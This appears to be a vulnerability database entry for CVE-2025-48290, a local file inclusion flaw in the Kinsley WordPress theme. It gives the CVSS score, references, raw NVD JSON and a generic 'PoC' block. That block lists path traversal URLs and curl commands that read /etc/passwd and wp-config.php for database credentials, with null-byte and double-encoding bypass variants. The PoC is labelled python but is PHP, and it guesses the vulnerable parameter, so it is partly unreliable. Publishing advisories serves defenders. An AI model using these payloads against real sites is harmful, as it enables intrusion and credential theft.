CVE-2025-48290

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in bslthemes Kinsley kinsley allows PHP Local File Inclusion.This issue affects Kinsley: from n/a through <= 3.4.4.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Kinsley主题 <= 3.4.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2025-48290 PoC - Kinsley Theme Local File Inclusion
 * Target: WordPress Kinsley Theme <= 3.4.4
 * Type: Local File Inclusion (LFI)
 * Author: Security Research
 * Date: 2025-11-06
 */

// Basic LFI PoC - Read system files
$poc_urls = array(
    // Read /etc/passwd
    'http://target-site.com/?page=../../../../etc/passwd',
    'http://target-site.com/?page=../../../../etc/passwd%00',
    
    // Read wp-config.php
    'http://target-site.com/?page=../../../../wp-config.php',
    
    // Double encoding bypass
    'http://target-site.com/?page=..%252f..%252f..%252f..%252fetc%252fpasswd',
    
    // Path traversal variations
    'http://target-site.com/?page=....//....//....//....//etc/passwd',
    'http://target-site.com/?page=../////../////etc/passwd'
);

// Example attack request using curl
$example_curl = <<<CURL
# Read /etc/passwd
curl -v 'http://vulnerable-site.com/?page=../../../../etc/passwd'

# Read wp-config.php to get database credentials
curl -v 'http://vulnerable-site.com/?page=../../../../wp-config.php'

# Using null byte injection
curl -v 'http://vulnerable-site.com/?page=../../../../etc/passwd%00'
CURL;

// Note: Actual exploitation depends on specific vulnerable code path
// This PoC is for educational and security testing purposes only
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-48290
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-48290
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-48290/
[4] VulDB https://vuldb.com/cve/CVE-2025-48290
[5] https://patchstack.com/database/Wordpress/Theme/kinsley/vulnerability/wordpress-kinsley-theme-3-4-4-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-48290", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:15:52.627", "lastModified": "2026-04-27T20:16:07.640", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in bslthemes Kinsley kinsley allows PHP Local File Inclusion.This issue affects Kinsley: from n/a through <= 3.4.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/kinsley/vulnerability/wordpress-kinsley-theme-3-4-4-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}